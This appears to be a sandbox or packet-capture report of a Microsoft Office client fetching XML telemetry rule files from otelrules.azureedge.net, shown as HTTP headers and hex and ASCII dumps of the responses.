2024-10-31 10:28:13 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:14 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:14 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:14 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 09711dcd-d01e-0066-4b94-2aea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102814Z-159b85dff8fdh9tvhC1DFW50vs000000017g00000000b5xf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:14 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:14 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:14 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 97ce691d-801e-0047-0a01-277265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102814Z-16849878b786lft2mu9uftf3y40000000am000000000am5y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:14 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:14 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:14 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 34089ae0-601e-005c-0dae-2af06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102814Z-159b85dff8fgb9pzhC1DFW7mkc00000001a0000000002wc7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:14 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:14 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:14 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:14 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 2034bdf9-701e-003e-3056-2679b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102814Z-16849878b7898p5f6vryaqvp580000000a3g00000000f26m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 10:28:14 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:14 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:14 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:14 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: c21b0bdf-c01e-008e-186f-287381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102814Z-15b8d89586flspj6y6m5fk442w0000000fcg000000004k6f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:14 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:15 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:15 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:15 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: f473ee8a-401e-00ac-6cf0-260a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102815Z-15b8d89586fst84kttks1s2css000000036g0000000003zb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:15 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:15 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:15 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:15 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: a349b1bc-a01e-0021-20bc-2a814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102815Z-159b85dff8fgb9pzhC1DFW7mkc000000015000000000bf9h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:15 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:15 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:15 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:15 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 41937e91-c01e-008e-5d57-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102815Z-16849878b782d4lwcu6h6gmxnw0000000950000000001wbf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:15 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:15 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:15 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:15 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fb8efb24-701e-0050-0ba3-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102815Z-16849878b78zqkvcwgr6h55x9n00000008vg000000006s9n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:15 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:15 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:15 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:15 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 19a18c92-701e-0098-0fb0-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102815Z-16849878b785jrf8dn0d2rczaw0000000an0000000002vwk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:15 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:16 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:16 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:16 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 1a403a11-c01e-0082-051c-27af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102816Z-17c5cb586f6ks725u50g36qts800000001d00000000096ek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:16 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:16 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
